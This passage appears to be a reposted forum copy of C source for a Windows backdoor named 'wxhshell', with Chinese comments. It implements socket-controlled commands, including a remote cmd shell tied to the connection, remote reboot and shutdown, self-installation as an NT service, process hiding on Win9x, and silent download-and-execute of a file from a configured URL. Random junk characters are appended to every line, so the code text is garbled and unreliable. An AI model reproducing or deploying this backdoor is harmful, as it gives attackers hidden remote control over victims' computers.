L$=R/l  
    switch(cmd[0]) { M !6Fnj  
  >n,_Aj c  
  // 帮助 Q+1ot,R  
  case '?': { 8fqabR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wKpGJ& {  
    break; i6paNHi*  
  } [<=RsD_q~  
  // 安装 :=Zd)i)3  
  case 'i': { . Z&5TK4I  
    if(Install()) o'lG9ePM|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `p\%ha!,w  
    else /D"T\KNWr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SAnr|<Y/  
    break; 3X(^`lAf)  
    } ZSNbf|ldiE  
  // 卸载 a>GA=r  
  case 'r': { 3.YH7rN  
    if(Uninstall()) | +;ZC y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DG;u_6;JR  
    else {APfSD_4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O ?T~>|  
    break; Gxd/t#;  
    } `&NFl'l1C  
  // 显示 wxhshell 所在路径 v.W!  
  case 'p': { "5eD >!  
    char svExeFile[MAX_PATH]; lB27Z}   
    strcpy(svExeFile,"\n\r"); oI -Fr0!  
      strcat(svExeFile,ExeFile); W_XFTqp^  
        send(wsh,svExeFile,strlen(svExeFile),0); (m1m}* @  
    break; |Kd6.Mx  
    } @ fMlbJq  
  // 重启 vE9"1M  
  case 'b': { b#I,Z+0ry  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '\{ OQ H  
    if(Boot(REBOOT)) HVvm3qu4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <uIPv Zsx  
    else { v Z10Rb8  
    closesocket(wsh); Fe[6Y<x+:  
    ExitThread(0); sA6HkB.  
    } ?e-rwaW  
    break; SsX$l<t*  
    } _,^f,WO~  
  // 关机 F-@y H  
  case 'd': { xLIyh7$t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _LF'0s*  
    if(Boot(SHUTDOWN)) X:Y1g)|K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_vPElQXZ#  
    else { Vc'p+e|(  
    closesocket(wsh); [%>*P~6nK  
    ExitThread(0); m:Rx<E E  
    } @d Qr^'h  
    break; Yy 4Was#  
    } "a(R>PV%  
  // 获取shell ^Whc<>|  
  case 's': { jEKa9rt  
    CmdShell(wsh); 0(&uH0x  
    closesocket(wsh); 5M\0t\uEn  
    ExitThread(0); Mxz X@GBX  
    break; ,~;`@  
  } 5%S5*c6BD  
  // 退出 NZ`6iK-V_  
  case 'x': { {;bec%pq0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w+rw<,u%  
    CloseIt(wsh); '_g&!zi8~  
    break; -6 v?iiZr  
    } lU|ltnU  
  // 离开 6Hc25NuQZ  
  case 'q': { 7# 'j>]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aJm5`az)  
    closesocket(wsh); RGV{KL  
    WSACleanup(); Q9y|1Wg1W  
    exit(1); Bptt"  
    break; mp3Dc  
        } .f!'> _  
  } M-Nn \h$,  
  } Y\!:/h]E&  
;F_&h#D]3  
  // 提示信息 !4F@ !.GG!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JmF`5  
} @TKQ_7BcB  
  } KJ?/]oLr0  
+ $~HRbo  
  return; P\c0Q;){h"  
} !oV'  
Vfw +m1sS  
// shell模块句柄 g2 V $  
int CmdShell(SOCKET sock) Y!E| X 3  
{ 9 DXu*}  
STARTUPINFO si; nDC5/xB  
ZeroMemory(&si,sizeof(si)); JvUHoc$sI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uuh vd h=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N_!Zn"J  
PROCESS_INFORMATION ProcessInfo; K3UG6S\B  
char cmdline[]="cmd"; 6a`_i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \;tKss!|  
  return 0; Y@%6*uTLa  
} ~w%Z Bp  
.uagD[${  
// 自身启动模式 .yj=*N.  
int StartFromService(void) &sA6o"h~  
{ &9] [ ~$  
typedef struct s.dn~|a  
{ s: q15"  
  DWORD ExitStatus; FkE CY  
  DWORD PebBaseAddress; TAJ9Y<  
  DWORD AffinityMask; kk5i{.?[  
  DWORD BasePriority; J&:0ytG  
  ULONG UniqueProcessId; dl$l5z\  
  ULONG InheritedFromUniqueProcessId; &FvNz  
}   PROCESS_BASIC_INFORMATION; VZlvmN  
+Vf|YLbhJ  
PROCNTQSIP NtQueryInformationProcess; d`nS0Tf'  
s*#|EdD6@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 01q7n`o#zf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |]\bgh  
\T]"pE+8l  
  HANDLE             hProcess; !V-SV`+X  
  PROCESS_BASIC_INFORMATION pbi; R +JI ?/H  
b~1p.J4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); quUJ%F  
  if(NULL == hInst ) return 0; /+1Fa):  
22r01qH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o%9>elOju  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jh0$:6 `C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pd;ClMa%  
dO//  
  if (!NtQueryInformationProcess) return 0; gX _BJ6  
f8^58]wx0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4K;j:ZJ"x  
  if(!hProcess) return 0; #f~a\}$I  
l{a&Zy)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \mu9ikZ<  
lqCn5|S]  
  CloseHandle(hProcess); g^4FzJ  
=U2Te  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .}<B*e=y  
if(hProcess==NULL) return 0; _~(Xd@c(  
:{ T#M$T  
HMODULE hMod; 3ElpS^ 2W  
char procName[255]; l=]vC +mU  
unsigned long cbNeeded; XZ&v3ul  
Yr=mLT|JN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S7q &|nI  
"qm>z@K  
  CloseHandle(hProcess); mfN@tMp  
rWs5s!l,  
if(strstr(procName,"services")) return 1; // 以服务启动 KJ)&(Yx  
FVmg&[ .  
  return 0; // 注册表启动 C|J1x4sb@  
} 85{vz|(':  
~&/Gx_KU  
// 主模块 _z5CplO  
int StartWxhshell(LPSTR lpCmdLine) C|zH {.H  
{ wf@2&vJ  
  SOCKET wsl; Qd4T?5 vG  
BOOL val=TRUE; &P3vcB  
  int port=0; LI<5;oE;  
  struct sockaddr_in door; ;MJ1Q  
JAz;_wS(k  
  if(wscfg.ws_autoins) Install(); -N(MEzAE  
">9CN$]J  
port=atoi(lpCmdLine); y4L9Cxvs  
R,bcE4WR"  
if(port<=0) port=wscfg.ws_port; 7:<Ed"rdE  
)\;r V';  
  WSADATA data; [E~TYk;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E}=,"i  
cj<@~[uw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gAY2|/,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KxwLKaImI  
  door.sin_family = AF_INET; n_Y]iAoc`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Qm;]?/  
  door.sin_port = htons(port); VC(|t} L4  
sEN@q   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Q}Y?rkJ5  
closesocket(wsl); ~m?~eJK#a  
return 1; K-u/q6ufK  
} j2Y(Q/i  
? $ c  
  if(listen(wsl,2) == INVALID_SOCKET) { 5U jQLB  
closesocket(wsl); kwR@oVR^  
return 1; vNSf:5H$  
} z0[ZO1Fo(  
  Wxhshell(wsl); >2 qP  
  WSACleanup(); RWo B7{G  
!S-U8KI|  
return 0; [ d7]&i}*|  
<pUou  
} <;e#"(7  
|u;PU`^-z  
// 以NT服务方式启动 %Ab_PAw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) se HbwO3 b  
{ iGMONJRO  
DWORD   status = 0; ZG<!^tj  
  DWORD   specificError = 0xfffffff; pd3&AsU  
 Vb 9N~v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RA I&;"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Qo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3rg^R"&  
  serviceStatus.dwWin32ExitCode     = 0; 9%14k  
  serviceStatus.dwServiceSpecificExitCode = 0; F5MPy[  
  serviceStatus.dwCheckPoint       = 0; SYPMoE!U:  
  serviceStatus.dwWaitHint       = 0; l|em E ^  
\q'fB?bS^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z;\"pP:  
  if (hServiceStatusHandle==0) return; 6ya87H'e@  
WUS9zK  
status = GetLastError(); m@u`$rOh  
  if (status!=NO_ERROR) E_1I|$  
{ AuipK*&g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i?dKmRp(@y  
    serviceStatus.dwCheckPoint       = 0; S)@vl^3ec  
    serviceStatus.dwWaitHint       = 0; ld}$Tsy0  
    serviceStatus.dwWin32ExitCode     = status; {dXBXC/Ju  
    serviceStatus.dwServiceSpecificExitCode = specificError; '\B"g@if  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `j}d=zZ  
    return; b|o!&9Yyr  
  } !o':\hex6  
!gfhEz Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lY*]&8/=  
  serviceStatus.dwCheckPoint       = 0; bK8F |  
  serviceStatus.dwWaitHint       = 0; rOb"S*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'A!/pUML  
} 2\B9o `Y  
6n\z53Mk  
// 处理NT服务事件,比如:启动、停止 lV6[d8P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jZT :-w  
{ CN~NyJL H  
switch(fdwControl) EvQwGt1)P  
{ ]~S+nl yd<  
case SERVICE_CONTROL_STOP: `{lAhZ5  
  serviceStatus.dwWin32ExitCode = 0; Guw|00w,Q$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OrEuQ-,i@  
  serviceStatus.dwCheckPoint   = 0; Ij}F<ZgZG  
  serviceStatus.dwWaitHint     = 0; (e3Gs+;  
  { TTZxkK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;GFB@I@  
  } )(Mr f{  
  return; )1nCw  
case SERVICE_CONTROL_PAUSE: #3yw   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 83ic@[  
  break; S50x0$%<W  
case SERVICE_CONTROL_CONTINUE: I cR;A\z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =l2Dm  
  break; uV}WSoq[  
case SERVICE_CONTROL_INTERROGATE: 0O,T=z[+>  
  break; oA;Ty7s  
}; 9me}&Fdr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W({TC  
} H4'DL'83  
''OInfd?  
// 标准应用程序主函数 wYO"znd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O< tnM<"(  
{ 1m<?Q&|m$  
Gk"L%Zt)  
// 获取操作系统版本 v<3o[mq  
OsIsNt=GetOsVer(); Hn9F gul&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h>Uid &:?  
vo6[2.HS  
  // 从命令行安装 .d~]e2x  
  if(strpbrk(lpCmdLine,"iI")) Install(); V l~Y  
C7 ]DJn  
  // 下载执行文件 F\=Rm  
if(wscfg.ws_downexe) {  Ep\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k/_8!^:'  
  WinExec(wscfg.ws_filenam,SW_HIDE); |[owNV>  
} Uy59zB2|=  
e4=FU&RpNH  
if(!OsIsNt) { >PJtG]D  
// 如果时win9x,隐藏进程并且设置为注册表启动 {#1j"  
HideProc(); 2'<=H76  
StartWxhshell(lpCmdLine); ?7kV+{.  
} @9uYmkcV  
else g7 Md  
  if(StartFromService()) -<51CDw,  
  // 以服务方式启动 UhSh(E8p>  
  StartServiceCtrlDispatcher(DispatchTable); 9U=fJrj'u  
else 5Hwo)S]r  
  // 普通方式启动 VqClM  
  StartWxhshell(lpCmdLine); y^!E "  
D,dHP-v  
return 0; +-aU+7tu  
}
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只看该作者 1 发表于: 2006-10-10
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